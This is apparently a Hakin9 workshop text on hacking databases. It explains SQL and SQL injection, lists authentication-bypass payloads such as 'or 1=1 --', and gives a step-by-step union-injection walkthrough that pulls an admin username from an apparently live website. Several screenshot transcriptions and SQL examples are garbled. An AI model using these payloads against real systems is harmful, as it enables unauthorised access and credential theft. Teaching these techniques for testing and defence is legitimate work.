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Backend Database Hacking

Overview

Welcome to the course of “database hacking”. In this workshop, we will be
extremely focused on talking about tricks and techniques used for hacking
into databases and underlying operating system. We will also lay down
the general and core concepts for understanding the databases, like how
they work, why they are used and what are the known vulnerabilities or
weaknesses to exploit and gain illegitimate access.

Microsoft SQL Server and MYSQL server are the two main database
servers we will be discussing. However, we will also cover general hacking
tricks that can be used in order to hack into any backend database
servers. We will consider if live hacking sessions are possible in a live
environment which can be shown so that PoC is presented. However, we
will cover home lab setup so students can build at home to practice the
hacking skills taught in this course.

We will also cover Structured Query Language (SQL) which plays a key
role for security researchers and in our experiences a security professional
or researchers is not considered expert if he or she doesn’t have any solid
experience with databases and SQL.

You should know

We expect that students have prior knowledge of at least beginner level
for the following topics in order to get the most out of this course.

Microsoft Windows Experience

Understands core concepts of TCP/IP
Beginner level experience with MYSQL Server
Beginner level experience with MS SQL Server
Beginner level experience with SQL Statement

You will learn

Knowledge on different database servers
Methods of hacking into database servers
SQL Statements

Basic SQL Injections

Advanced SQL Injections

Tools for database hacking
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This course is designed in order to provide broader aspects of how
someone can hack into backend databases and can own the underlying
operating system, steal confidential information or can compromise web
applications. At a minimum, you will learn much about different database
types and how to compromise them or at least learn different methods of
hacking attempts.

Syllabus

Module 1: Understanding Database Core Concepts

Tutorial 1: Hello World! Let’'s UDCC

Example 1

Module 2 — SQL Statements with Injection Techniques

Tutorial 1 — Introduction to SQL Statements
Example 1: SQLi

Example 2: SQLi

Example 3: SQLi

Example 4: SQLi

Exercise 1 — Executing SQL Statements
Tutorial 2 — SQL Injections

Exercise 2 — Authentication Bypass Attack

Module 3 — Walkthrough on Hacking Databases

Tutorial 1 — Case Study on Manually Hacking Web Applications
Tutorial 2 — Quick Walkthrough on Blind SQL Injection Attack
Walkthrough on Compromising Backend Database with SQLi Attack

Advanced SQLi Attack
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Module 4 — What you should know to Advance your Database Hacking
Skills

Tutorial 1 — Knowledge Base

Home Lab — Windows Server 2008

Home Lab — MS SQL Server 2008

Tutorial 2 — Vulnerable Web Application Setup
Home Lab — 11S Server

Home Lab — Database Creation

Home Lab — Run The Web

Tool: Hacking MYSQL & MS SQL Server with SQLMAP

Who should take this course?

This would be a good start for people who have basic database knowledge
and have some concepts of how web applications work but doesn’t have
mandatory knowledge or any experience in ethical hacking or penetration
testing.

Key Audience

Network Administrators

Information Security Officers

New Graduates in IT

Newbies, who want to learn hacking
System Administrator

What Students should bring

e Internet connection
e One PC, which can run 2-3 Virtual Machines
e Guided Lab development will be covered in the workshop
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Instructor

Raheel Ahmad is an information security professional and an experienced
instructor and penetration tester with a computer graduate degree and
holds 10 years of professional experience working for Big4 and boutique
consulting companies. He holds industry recognized certifications including
CISSP, CEH, CEI, MCP, MCT, CobIT, and CRISC.

Raheel is a founder of 26SecurelLabs, a management consulting company
based in Auckland, New Zealand. 26SecurelLabs provides ethical hacking
and penetration testing services as its core business.

Best way to reach info@26securelabs.com
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All the study material, concepts, contents and the ethical hacking tricks or
techniques presented in this course are solely for educational purposes
and must not be used for illegal activities or any computer related crime -
Raheel Ahmad, CISSP
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Module 1 — Understanding Database Core Concepts (DCC)

Tutorial 1 - Hello World! Let’s UDCC

We welcome you to the course of “database hacking”. Generally speaking,
if you want to audit anything or you want to perform analysis on any
object or any system then it is understood that you are a subject matter
expert of that object or system and that is why you have been asked to
do such analysis.

Similarly, without any doubts, the same goes for IT Security or you can
include ethical hacking and penetration testing. Now a question that may
come to mind is “why”?

You cannot hack into any system or application or any server until and
unless you have enough knowledge and experience in such a system,
application or server. And this is the basic, as well as the mandatory,
requirement for security researchers or ethical hackers.

An expert ethical hacker or penetration tester has enough experience in
all types of known and commonly used technologies and this covers the
following as a minimum requirement:

Networking devices like routers, switches, firewalls
Linux / Unix Operating Systems

Microsoft Operating Systems

Web Application

SQL Statements

Databases

If a security professional doesn’t have enough experience in the above
technologies then the industry will not consider him or her as an expert.
Also, if you want to be successful in the field of information security
auditing or core ethical hacking then you should have enough knowledge
base for the above listed technologies.

However, this workshop is dedicated to “database hacking” hence we will
be talking about databases only and some related technologies which are
important to it. Now back to the point that you cannot hack into
“something” which you don’t know and this is common sense. Therefore,
in this workshop we will first build some knowledge base and then we will
move towards hacking into databases. Let’s begin!
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What are Databases?

Before we understand databases, you might have a question in your mind,
what is data? Well we can define data as anything which can be stored,
processed in tangible or intangible form.

Example: A person has a name, date of birth, address, and mobile
number. Now, information about this person would be termed as data. So
these attributes or properties or known things about this person is
considered data.

Okay, now the question is how is this data stored? Broadly there can be
two ways as follows:

e Stored in an organized form
e Stored in an unorganized form

Great, so when the data is stored in an organized form, it is called a
database. And this organization of data can happen in different ways
depending on who is organizing the data. We will connect this to
something later in the course so please keep a note of here.

Database Servers

Now you need this database to be kept somewhere and you need a
service which can help in retrieving this data and can perform processing
of different types when it is required or requested by anyone. To
accomplish this task “a computer program that provide these type of
services either to different other services or users is termed as a database
server”. And on a broader scale you can have a complete database
management system that is termed as DBMS.

Different companies or vendors designed different database serves and
this why the way these servers works are different and differ in many
features, however, how the data is retrieved and stored is more or less
similar.

Now to talk to the database you need a language in which these database
servers speak and this language is called Structured Query Language

(SQL).

Database Language

SQL is simple to learn and this is the language which is used to query all
databases and this is the most important language for a security
researcher to learn and have enough experience with as this language is
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spoken and understood by all databases regardless of which vendor
database server is implemented on your client side. If you are good in
SQL then you can go deeper in hacking that database server.

So far, we have covered what is data and databases and we have also
explained SQL to an extent, which is required in this workshop for users
who are new to understand these terminologies. We will now first see how
you can access these databases although you know SQL, which is the
database language, but there is room for communication, as well, like how
and where you want to talk to this database server.

Accessing Database Servers

You can access these servers by means of direct access, which we will call
backend and this is were you directly execute SQL statements to access a
database. Developers and programmers mostly use this. However, an end
user may access these servers in an unnoticed fashion when an end user
accesses any application which requires connectivity with this backend
database server and performs certain queries which are developed as part
of this application.

Example 1:

You went to an ecommerce website and created your profile first; the
forms you completed have your information and the web page on which
you complete the form has a backend connectivity with the database
server. So when you completed the form and hit the submit button all of
your information goes into that database.

Types of Database Servers

You can find many different vendors available in the industry providing
database servers. We will list the well known and most commonly used
ones in the industry:

Microsoft SQL Server
MYSQL Server
Oracle DBMS

DB2

Informix

Out of these, the most commonly used are Microsoft SQL Server, Oracle
and MYSQL. In our workshop we will focus on first and last will leave
Oracle behind.

10
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It’s worthwhile if we put a little light on these servers so that you can grab
basic info about them before moving on from basic topics.

We are not in this workshop to learn about databases only, but we want
to learn how to hack these database servers so we are not going to
explain how these servers work or how you can use them, however, we
will present a quick tutorial on how you can setup your home lab for
practicing the hacking part on these servers. Those of you don’t have any
prior experience with database administration will definitely get the flavor
of it.

Database Architecture

So far we have been discussing the databases, how information is stored
and how it can be accessed. Now let’s put all these things together in a
structured or appropriate manner to make the things easy for us to
understand and also highlight how the industry works.

The overall database management system (DBMS) depends heavily on the
architecture, that means how things will be working in the DBMS
environment. We will talk about the most commonly used approach in the
industry.

Before we outline the architecture, let's see what makes the DBMS
architecture, as we know that database servers hold data and provide
services. End users have needs for accessing these services, as an
example. Moreover, they use some applications to talk to backend
database servers so this phenomenon gives us a three-tier approach that
holds the following three layers.

e Presentation
e Application
e Database

These three layers, or tiers, form the three-tier database architecture
which is shown as follows in a diagrammatic form to present the high level
concept about the database architecture, we will also present the function
of each tier or layer later.

11
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Presentation

Application

Database

Presentation Layer (tier)

Users also know about this tier or layer as the end users sit on this layer.
End users don’t know anything beyond this layer, however, they can have
different types of views or access to this tier.

Application Layer (tier)

This is the middle layer in between the first and last layer. Its main
function is to provide connectivity so that the top and last layer can talk to
each other, but the database tier, basically the application tier, acts like
an end user and the database tier doesn’t worry about anything beyond
that.

Database Layer (tier)

This is where all the data lives with all the relationships to the data that is
present; it can have multiple databases running on this layer.

Cool, these are the general concepts that you should understand properly
before we move to the next module. This forms the core of database
hacking tricks or techniques otherwise you would just be using the tools
and not have background knowledge on how these database servers work
or the tools to perform the certain actions.

In the next module we will be focused on understanding the structured
query language (SQL) and then we will start learning the hacking

12
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techniques and tricks to hack into databases from the next module. Don’t
miss; be connected, newbies are going to turn into hackers at hakin9! See
you in the next module.

Module 2 — SQL Statements with Injection Techniques

Tutorial 1 — Introduction to SQL Statements

Welcome to module two of this workshop. In this module, we will learn
more about SQL Statements and how we can use them to hack into
databases by injecting the SQL queries which we want to execute. Firstly
we should understand the core of SQL statements, which should include
types of SQL Statements, and how they are executed and when we need
which statement.

There are many SQL statements, in fact tons of statements, which you
can run and this all depends on what you want to achieve by executing
those statements. However, there are a few statements that are
mandatory, or required, statements by all types of applications that work
with backend databases of any kind.

In this module we will first understand what are SQL statements and how
SQL Injection works. We will also execute known SQL Injection attacks to
understand and practice the SQL Injections.

What is SQL Statement?

We have learned in the previous module what is Structured Query
Language (SQL), which is basically a language to communicate with the
database servers or Database Management System (DBMS). Now this
communication can be of different nature.

Example 01: A database can be asked to provide information about any
individual, meaning that you want to query database server for selected
individual, which you already know.

Example 02: A database can be informed regarding an individual with
more current information, so that it can keep the latest information about
this selected individual.

Example 03: A database server can be asked to delete all the
information.

Example 04: A database served is informed about someone about that it
doesn’t have any information for; it's like creating new record or new data
in the database server.

13
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There are many more examples and it all depends on what action we want
to perform or what communication is required with database servers.

Common Types of SQL Statements

In this section we will study the common and mostly used SQL
Statements that will also cover the above four given examples. As we
have already said, there are many SQL Statements that are used by
programmers or database administrators, but it all depends on action
required to be performed on the database server. So let’s explore those
SQL Statements that are required or mandatory to be understood by a
security professional. In fact, a security professional should have a solid
understanding and experience with SQL statements, but at least the
following statements in the graphical diagram presented below should be
well understood, and practically experienced.

«Used for selecting data from a database
*Mandatory for a security professional to understand this statement and practice

*Used to update already exisiting record or data in the database

* Mandatory for ethical hackers in some instances this statement is used for hacking

7

*Used to insert new record in the database
sMandatory for security professionals as well as ethical hackers

+Used to delete existing record in the database
*Mandatory for ethical hackers

*Used to comine resuli-set of two or more select statements
=Mandatory for security professionals as well as ethical hackers

+[sed to comine rows from two or more tables based on common field b'w them
*Mandatory for security professionals as well as ethical hackers
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In union and join in the above table, | believe ‘comine’ should be
‘combine’.

Syntax of SQL Statements

-
» SELECT * FROM table name;
* SELECT columns_name FROM table name;

.

~
« UPDATE table name SET columnl = valuel WHERE some column = value;

»

~
INSERT INTO table name VALUES (valuel, valueZ2, value3, ...);

.

~
* DELETE FTOM table_name WHERE some_column = some_value;

J

~
« UNION SELECT columns name(2) from table;

»

~
*This SQL Statement has different sytanx based on the type of join like Innjer
Join, Full Join, Right Join, Left Join

»

Exercise 1 — Executing SQL Statements

In this exercise we will practice these SQL Statements so that we
understand practically how these statements work. Now, we need a
platform in order to have hands-on experience and enhance our SQL
injection skills. So where to practice?

Recommendations: we recommend that you download and install the
free version of Microsoft SQL Server which can be downloaded from the
below provided link. Install this free MSSQL Server and practice the SQL
Statements and run different customized SQL Statements in order to
advance your SQL Injection skKills.

15
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Download:
http://www.microsoft.com/en-nz/download/details.aspx?id=29062

We already have MSSQL running in our lab environment so let’s have a
quick walkthrough on SQL Statements. For those who don’t have any
experience with databases, we will cover the setup part in the last module
so that you can also have a flavor on how to setup the databases for
practicing SQL statements.

Below is the screenshot of the MSSQL Server Express edition.

T.. Microsoft SQL Server Management Studio Express
File Edit View Tools Window Community Help

Object Explorer > 1 x /5 v - X
N e 2 F & 7 [ |
= | {h RAHEEL-S26EF1681SQLEXPRESS (SQL <
e . | RAHEEL-526EF168\SQLEXPRESS (SQL
# [ Server Objects RAHEEL-SZ6EF1E8\SQOLEXPRESS 5 Item(s)

# [ Management

Mame
[ Databases
Ca Security
[ Server Objects
[ Replication
D Management

3]

%

Ready

You can notice that it has different options available in the tree view; we
will explore the database part and see what is available as pre-installed
for us to play.

16


http://www.microsoft.com/en-nz/download/details.aspx?id=29062
http://www.microsoft.com/en-nz/download/details.aspx?id=29062
http://www.microsoft.com/en-nz/download/details.aspx?id=29062

Backend Database Hacking by Raheel Ahmad | Hakin9

F.. Microsoft SQL Server Management Studio Express

File Edit View Tools ‘Window Community Help

Qvewouery | B G SAS B ERES,

Object Explorer » 1 X | Summary| > X
[ 3 = > I . N
$R= 7F 1= Y F-& &3
= [} RAHEEL-526EF168\5QLEXPRESS (SQL £
(= [ Databases l] [
5 On EEEES System Databases
@ | ) master RAHEEL-S26EF 1668\SOLEXPRESS D atabases|System Databases 4 Item(s) !
# | J model
# [ msdb . ¢
# | tempdb | Name
[+ [ Security L" T i
# | Server Objects u o
[# [ Replication L] s
# [ Management L—! -
3] 24
Ready

You can notice in the above snapshot that it has pre-installed databases
as shown in the left pane as well. Now lets run a couple of queries to see
what is available for us in the master databases by running a query
analyzer. Now to directly run query and including database as well you
need to follow the following syntax as shown in the snapshot. We are
running a select query where “master” is a database and
“dbo.spt_monitor” is a table name.

R Microsoft SOL Server Management Studio Express
File Edt W¥iew Query Tools Window Community Help

Shewouery [ (3 |Gl @ B BB RS

1) % 0 master - BEeate v ® 3302 0 iy DEEY S 2 (FFE
e B > B X | RAHEEL-526EFL.QLQueryl.sql*| Sunmary | >
ﬂ !{ s T | select ¥ from master.dbo.spt_monitor:

=] LB RAHEEL-S26EF1681SQLEXPRESS (SQL Server 9.0,9035 - sa)
= [ Databasas
= 3 Systsm Databases
& | master
= 3 Tables
= [ System Tables
# 1 dbo.MSreplication_cptions
® T dbo.sp:_fallback_db
@ =1 dbo.sps_Fallback_dev
& 1 dbo.spt_Fallback_usg
&  dba.spt_maniar o
# 1 dbo.spt_values <
& 3 Views M e B
& B St ] Resubs | [y Messages| :
@ (2 Programmabilty | astn cpu busy i busy | idle | pack recerv.. pack s.  cenneclicns | pac
& [ Securty 1 | 2005-10-14 015353740 | 8 7 773 28 i} 12 a
] U modsl S
& | msdb
# | tempcb
@ (3 Security
@ 3 Server Chjects
& 3 Rephication
& 3 Management

|%

< 2

a Quety execut_  RAHEEL-52BEF168450LEXPRESS (9.0 5P3) sal52] master 00000 | 1 rows

Ready Ln2 Col 1 Chi M5

You can see the results in the below pane with results tab. In this query
we selected all columns from the table, as we were not aware of existing
columns.

17
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Now, we created a separate database called “hakin9” and then created
two tables as you can see in below snapshot. We then ran different
queries as shown in below snapshot. We will post the queries on the
forum as well. You can practice as much as you like if you have installed
the express edition of MSSQL

. Microsoft SQL Server Management Studio Express

% Windows XP Professional

Tutorial 2 — SQL Injections

Fle Edt ‘iew OQuery Tooks Wndow Communty Help
lMewouery [y (B SV W B EEES
i) 32 3 | master - BExeate v B 3312 A0 27 i | E[EH] ==
Obiject Explarer = 0 X RAHEEL-526EF1..QLQuery3.sql*  RAHEEL-5Z6EF16..n9 - dbodogn | RAHEEL-S26EF1...n3 - dbo.cards T X
4 8 select * from hakin9.dbo.login: TI
- 1 update hakin9.dbo.login set password = 'nopassword' where usernams = 'userl':
: l? T;:‘x:lﬁﬁsQLEKPRESS(SQL insert into hakin9.dbo.login values ('user4', 'password', 'hakin®','hakin®','21/11
- = [ System Databases select ° from hakin9.dbo.login:
® [ mastsr delete from hal:lng.dbo.lnaln_uhere username = 'useri3':
B IJ model gelect * from hakin9.dbo. login:
® |J msdb
3] |J tempdb
& [ haking ™
[# [ Database Diagrams & 3
= @ Tables 1
h l_: I: System Tables j Fesuls |3 Messages
3 [ dbo.logn usemams | password fismame | |zsiname | dob address
= 3 Cobumns 1 uzer] nopassword  rahes| shmad MULL auckland
=] username (che| | 2 usel2 passwond ahmad raheel NULL wellington
5] password(cha || 3 admin nimda Raheel  Ahmad  NULL  NZ
% IFE':I':((LLI': 4 wed  paswod  hakind  hokind 211171 e
J dob (char(10], 5  usend password hakind  haking 21711711 nz
3] address (char(| || & userd passwoed  hakind  hakind 2111711 nz
% [ Keys 7 werd passwced  hakin  hakind 2171111 (e
3 j 5:::‘:“5 [ _ugemams. I password festname  lasiname  dob addiess
5 O3 Indexes 1 ieet_1 ..... _' nopassword  rahes| ahmad NULL auckland
3 [ Statistics 2 userd passwond ahmad rahesl MULL wellington
® O dbo.cards 3 admin nimda Raheel  Ahmad  NULL MZ
5 [ Views 4 wed passwoed  hakind  haking 21711711 nz
e j zf“u"‘:‘:':;m 5 wed  paswod  hakind  hekind 2111711 ne
® 3 Secwrity [ userd passwond hakind hakind 21MA1 nz
® [ Securiky i userd passwond hakind hakin9 2111 ne
® [ Server Objects 8 UsErS passwond hakind hakind 21MM1 nz
& [ Replication -
& [ Management Al password fesmame  lzsiname | dob | address
i nopassword  rahesl shenad  MULL  zucklard
b passwond ahmad raheel NULL  weellirgton
namda Haheel  Ahmad NULL N
password hakind haking 200 re
password hakind  haking 217 rz
< 5| (@ Query enecuted successhully. RAHEELE2GEF1GMSOLEMPRESS [05P3) sal52)  master  O0:00:00 7 rows
Ready In? col INS

Now, let’'s move towards the SQL Injections. Hackers use different SQL
injection techniques and you can not limit the SQL injections. We will
present different techniques and different SQL Injections in this module,
however, let’s first have a look at what is SQL Injection.
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SQL Injection

We have explained enough about SQL statements; these statements are
exploited by means of injecting another statement and this occurs
because of SQL injection vulnerabilities. SQL vulnerabilities occur when
the database server can be forced to execute arbitrary SQL commands or
statements and this happens through web applications most of the time.

Detecting SQL Injections

Now, how can you detect SQL Injections? There are two different ways of
detecting SQL injections, either you do it yourself manually or used a tool
which helps you in detecting SQL Injections.

Key in Detecting SQL Injections

Regardless of which method you choose to detect SQL injection
vulnerabilities the key is that “all input fields whose values could be
used in crafting SQL query including hidden fields of POST
requests and then test them separately” and try as much as you
can by any means to generate errors.

Common techniques consists of adding a single quote ('), double quote
('""") or a semicolon (;) to the input field on which you are testing for SQL
injection vulnerability.

We tested one web application as an example and below is the error
message we got which is a signal that SQL injection vulnerability exists.

€ P @ www  comii sgin.asp ]

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'Log.Log_id" is invalid in the select list because it is not contained in an aggregate function and there is no GROUFP BY clause.

Mg, line 17

And above error message shows us that the backend database is SQL
Server and the column name is “Log.Log_ID” this is the manual method
of detecting SQL Injections, however, you can use the below mentioned
tools which are well known for detecting SQL injection vulnerabilities,
however, they don’t exploit SQL injection vulnerabilities. This part of the
exploitation you have to do on your own and this can only happen if you
are good enough with SQL Statements.

Types of SQL Injection Attacks
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We have been explaining so far in this workshop that statement types
depend on how and what you are communicating with database server.
Similarly, SQL Injections also can be of many types, however, the industry
categorizes them in different types which you can easily find over
Internet.

However, in our opinion, these SQL Injection types depend on the hacker
hacking into the web application because the SQL Injection itself is an SQL
Statement but illegitimate in nature and this is forcefully executed by the
bad user which he or she was able to execute because of the SQL
Injection vulnerability present in the web application

“The most important thing, basically, is the method of detecting
SQL Injections Vulnerabilities in the web application. If you know
where this exists and you are good enough in writing SQL
Statements then that’s all you need to hack into web applications
by using SQL Injections.” (Note is down somewhere and follow this if
you want to become expert in hacking into web applications by use of SQL
Injections). Following are the key and most common types of SQL
Injection Attacks:

Authentication ‘Bypas’ should be ‘Bypass’ - ‘Used to by login’ should be
‘used by login’- ‘Eassy to attack’ should be ‘Easy to

attack’
Authenﬁcation \

* Useq tq b
: y
. Login * Used t, steal
EHSSy to data . USed to le
Attack * Gather More ahouirn
. Pf‘ior info mer‘maton datahaSe
abouyt aboyt Schemg
databaSe is database > F}ather
not Schemg mfm"mation
Mandatoy * Intermeg; 3
y Medj Ntermeg;
Skillg e Skillg | ate
Fequireq requireq

Under convert attack ‘gathere’ should be ‘gather’ - under blind sql
injection ‘Differenciate’ should be ‘Differentiate’ - under advanced SQL
injection ‘Advance’ should be
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‘Advanced’

\

CO]’]Vert
Attack

\

Blingd SQL

* Used t,
gathere * Used tq
informatio, gather * Executeg
I lnt.ermediate tMformatjg, Slored
Skills . Differenciate Procedyreg
Fequireq between * Tun systey,
valid anq leve]
Invaliq COmmap 4,
Mjectiong * Advance
skills
Fequireq

We will now explain more about these types of SQL Injections so that you
can understand better and practice these in the lab environment.

Authentication Bypass Attack

What happens normally when you browse any web application that
requires you to provide credentials before you can be granted access is
that such applications are connected to backend databases and use SQL
statements to authenticate you as a registered user.

However, by using this attack you can simply bypass the login
requirements, which are a valid ID and Password. However, if the SQL
Statement, which is written in background to check for authentication, is
vulnerable then only this bypass technique will work

In the login or password fields, or both fields, the following SQL Injection

vectors are used to gain illegitimate access by bypassing the
authentication.
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- +
''or 1=1 --
a' or 1=1 --
" or 1=1 --
a" or 1=1 --
' 'or 1=1 #
" or 1=1 #
or 1=1 --
L] Or lxl=lx
n or lell=lrx
L ) Or ( le=lx
n ) Or ( llxlr=!lx

' or username LIKE '%admin$%
o o o e e e +

Now, by using these vectors you can easily bypass the authentication and
gain access to the web application restricted pages.

Exercise 02 — Authentication Bypass Attack

We will use any of above vectors and bypass the login on a web
application to show the demo. The web application used in the below
example was vulnerable to SQL Injection Authentication bypass attack
and we used one of the attack vectors as shown above.

Before Attack

>> Athentication Level <<

Sign-In to

User Type :  [client ... -
UserID: | |
Password : | |

[“Scrin Y corce
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Performing Attack

We were using Firefox browser and a plugin that allows us to see what is
typed in the password field as shown below.

Sign-In t

User Type . | Administrator ... ;I
UserID: [or'a=4a |
Password : [for'a'=a |

Successful Attack

| CHANGE PASSWORD

Ex de [E e

PPy e \ 3.5%
pry I

pry S

pry I3

pry Z 13%
pry I3 o

- (G
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Although we have removed the sensitive information to keep the privacy
maintained, you can see that we have successfully bypassed the login and
gained the Admin level access to the web application.

Now, what exactly happened? We manipulated the SQL Statement written
in the background of the web application and inserted our own SQL
Statement, which became the part of the backend application which
reached the true condition and we got access.

Explanation

Comment: On my screen, the black background of the following
examples does not allow some of the information to be viewed..
Login SQL Statement would be similar to the one given below

SELECT FROM WHERE formusr AND password
formpwd

In the above SQL Statement, two variables “formusr” and “formpwd” are
basically the values coming from the input form fields. Now if we enter a
pre-existing user and password, the query would look like this.

SELECT FROM WHERE AND password

Now, this statement will go to the database and select all fields in the
table called “users” and then will search if column username has any
value which is “Admin” and column password has any value which is
“AdminPassword”. If both exist on the same row then the condition is true
and login is granted because both values were found in the database on
both sides of operator “AND”.

Now, imagine if what we inserted were “ ‘OR ‘a’=’a “ in both fields for
username and password. If we put these values in the username and
password in the above statement, this is what the statement will look like.

SELECT FROM WHERE AND password

Now, with these values, again the select statement will communicate with
the database and select all fields from the table username where
conditions are true but since in the first instance we haven’t provided any
username so condition with username is not true, But immediately we
have given a true statement which is “ * OR ‘a’=’a’ “ and this is a true
statement because [ a = a ] is true. Similarly, the same logic will go for
password, hence, both conditions on either side of the AND operator will
become true and we will get the access to the restricted pages.
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Union Attack SQL Injection

Well we have presented the demo for bypassing the authentication with
SQL Injections, here we will explain a bit about Union Attack as
walkthroughs will be covered in the upcoming module so that we can
practice the hacking techniques and gain more focused experience.

Union attack is basically appending another select statement in the input
fields, which runs background SQL statements for any reason. Technically,
this attack is easy to execute by appending another statement with the
UNION operator but it is more difficult as it requires knowledge of
database schema. Don’t worry, we will explain in detail in the next module
how to gain this information and practically inject the database with
UNION attack.

Example Attack Vector

UNION  SELECT
11,22,33,44--

Error Message Attack

This type of SQL Injection attack can be further sub-categorized, however,
we will present the general concept here. Basically, the core concept is to
gather as much as information by means of error messages which are
generated by the backend database. This can lead to disclosure of
database information schema resulting in leakage of tables and columns
level information that can lead to compromise of credit cards, login
information and all sensitive data.

Convert Attack

This type of SQL Injection generates sensitive information by error
messages through a command called "convert". The convert
command is used to convert between two data types and when the
specific data cannot convert to another type, this command will return
errors which can lead to disclosure of sensitive information.

Blind SQL Injection

This is a type of SQL Injection which you simply execute by guessing the
required information for injecting the SQL statement. As you don’t see any
error messages in this attack, sometimes it works well, like inserting a
new record in login database. However, the key technique is asking
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database questions, like true or false, so that you can start gathering
information based on your known knowledge of database server. The
questions you are asking in the form of yes or no and then realising the
information and ending up gathering information without getting any error
messages.

Advanced SQL Injections

This is another type in which you put together complex or customised SQL
Statements which can make use of pre-defined functions and stored
procedures in the backend databases. These attacks are very dangerous
and can lead to disclosure of complete databases, execution of system
level commands, creating system users and much more. Damage is
limitless in such attacks. We will execute such statements in our lab
environment to gain advanced level experience with SQL Injections.

Stay tuned to the workshop, in the next module we will be demonstrating
these types of SQL Injections in our lab environment so that you can gain
hands-on experience with SQL Injections.

Knowledge is power, have as much as you can! Keep hakin9...
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Module 3 — Walkthrough on Hacking Databases

Tutorial 1 — Case Study on Manually Hacking Web
Applications

Welcome to the third module of the “Database hacking workshop”. In this
module, we will have walkthroughs on hacking databases with techniques
that will show you how to hack into web applications and compromise
backend databases.

We will cover SQL Injections (SQLi) that we studied in the previous
module by practicing them on vulnerable web applications with the real-
time SQLi testing we are executing in our lab environment. Information
that can identify any sensitive information will be marked as such,
however, we will help you understand this and in later modules we will
also explain how you can setup a lab to practice these skills and gain
more experience.

Okay, now have a quick flash back and remember the SQLi we studied in
previous module; we explained one SQLi type, authentication bypass, with
a walkthrough on a web application. Here we will study more with other
types of SQLi so that we cover those types as well.

Let’s begin with another type of SQLi; we will first do “union attack”.

Union Attack SQLi

As we studied in the previous module, this type of SQLi in its simple form
can be explained as appending another select query as SQLi. However, it's
not that easy to do because to execute another statement as union, you
need some information prior to executing this type of SQLi attack. So first,
let’'s have a look at how you can detect the SQLi attack. Consider the
below link as our target link to perform a SQLi attack.

SQLi: SomePage.asp?PID=1

Now, we will try to generate some errors by providing bogus information
instead of PID=1 as shown in below link and will see what error occurs.

SQLi: SomePage.asp?PID=-1
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We typed “-1” instead of [1] which gives us the following error as shown
below in the figure.

P www.i i ) .as -1
< p

Un-Expected Error

Okay, this means something can cause an error with SQLi attacks, let’'s
dig deeper and now send “” single quote value and see the outcome.

(- P www. .asp?PID='

Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string ".

i s.asp, line 7

Cool, we now know that the backend database is SQL Server and this link
is vulnerable to SQLi attack, let’'s see if we can execute “union attack” on
this vulnerable link.

— e

(- P www.: 3s.asp?PID=-1 union select 1 from news

Microsoft OLE DB Pravider for SQL Server error '80040e37'

Invalid object name 'news'.

n s.asp, line 7

Notice the UNION SQL statement we appended after “-1” id as value and
then we injected the union statement as our SQLi.

However, since we don’t know column and table names, so we simply said
select first column from table “news”. Since the news table doesn’t exists
in the current database, the SQL server gives an error that “news” is an
invalid object name, which means table “news” doesn’'t exist. However,
we now are confident that union attack may work here.

So what we need to know first is a valid table name in the database.
Usually, programmers create set table names, like “admin” for admin
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login table, users table for storing user related information, which could
be anything, and so on. Since we are doing it manually, we have to guess
and give a try again. Let’s say table name “Admin” and see what happens.

6 o www. 5asp?PID=-1 union select 1 from Admin

Microsoft OLE DB Provider for SQL Server error '80040e14'

All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

IF s.asp, line 7

Aha, you can see that now we have been given more information by this
vulnerable application and we can see that message is changed from
invalid object to the SQL specific message that:

“All queries in an SQL statement containing a UNION operator
must have an equal number of expressions in their target lists”

This means that the SQLi we are performing as a union query attack
should have equal number of expressions, like column names, which also
means that table “Admin” does exist in the database but the number of
columns are different than the table from which the first SQL statement
was written by the programmer to get the data from the database onto
this web page.

So now we have a valid table name with us, that is “admin” but we still
cannot execute the UNION attack, as we don’t have the columns
information. So let’s work to learn more information about the columns.
How we do this is we keep adding column numbers until we see a
different error which ends up in the following union attack query.

SQLi: SomePage.asp?PID=-1 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from Admin

And we landed on the below page with following information as shown
below in the snapshot. Information is anonymized for privacy reasons.

l Details of 1

Name:

| lion:
lent:
'ess:
tion:
tion:

&
Woo~NOOs W B

ired:
ired:

Microsoft OLE DB Provider for SQL Server error '80040e14'
Invalid column name 'S _....... r.

/ s.asp, line 103
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Cool, this means that we were able to execute our SQLi union attack to an
extent that gives us information as shown in above snapshot. Now let’'s
read this information.

You can see the numbering from 1 to 9 and then an error message by
SQL Server. This shows that you can read what is there in the first 9
columns of table “admin” on the page you landed on after this SQLi
attack.

But, you need to know column names if you want to read information
from the table “admin” which you can use instead of numbers from 1 to 9.
So let’s start with common guessable column names that any programmer
can use. Think like a programmer. We will start with “username” as the
first column name and will see what happens.

So our SQLi union attack query would look like this as given below.

SQLi: SomePage.asp?PID=-1 union select
username,22,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from Admin

However, when we executed this attack, we saw the following error
message again by the SQL server as shown below in the snapshot.

é B www. ©ak/E 5.asp?PID=-1 union select username,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from Admin

Microsoft OLE DB Provider for SQL Server error '80040e14'
Invalid column name 'username’.

fl s.asp, line 7

Which means no column exists as “username” so our bad luck here, no
worries let’s try with “user” and see what happens. Now our SQLIi attack
query would look like this as shown below.

SQLi: SomePage.asp?PID=-1 union select
user,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from Admin

When we executed things could change and we land on the following page
as shown below.
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Detalls of webadmin

ne: webadmin

238833825
©O~NOO R WN

Microsoft OLE DB Provider for SQL Server error '80040e14'
Invalid column name "¢

/| s.asp, line 103

Cool, this means that we got the correct column name as we placed it in
the first place as you can see that now we can put some text in the same
location where we displayed number 1 and this text “webadmin” is
basically a user name and the username itself says it's a web
administrator account. So we are hacking into the web application.
However, we need to know the password, so apply the same logic to find
out the password column with different column names.

So long story short, we tried different names and found that “pwd” is
probably the column that has passwords, however, for this user no
password was set. The SQLi attack query we sent was as given below.

SQLi: SomePage.asp?PID=-1 union select
user,pwd,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from Admin

And, we got the following information as shown below in the snapshot.

_ Details of webadmin

i webadmin

LE I Ty S T i T
O w-~No0 W

Microsoft OLE DB Provider for SQL Server error '80040e14'
Invalid column name " r.

!/ -5.asp, line 103

As you can see, now there is blank field on location 2. So what did we
learn here?

A successful union attack and information gathering on registered users,
so we can try gathering more information from any other known tables.
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This you have to do on your own, however, we can confirm that we found
more table names including “user”.

We will now cover Blind SQLi Attack in the next walkthrough and hope
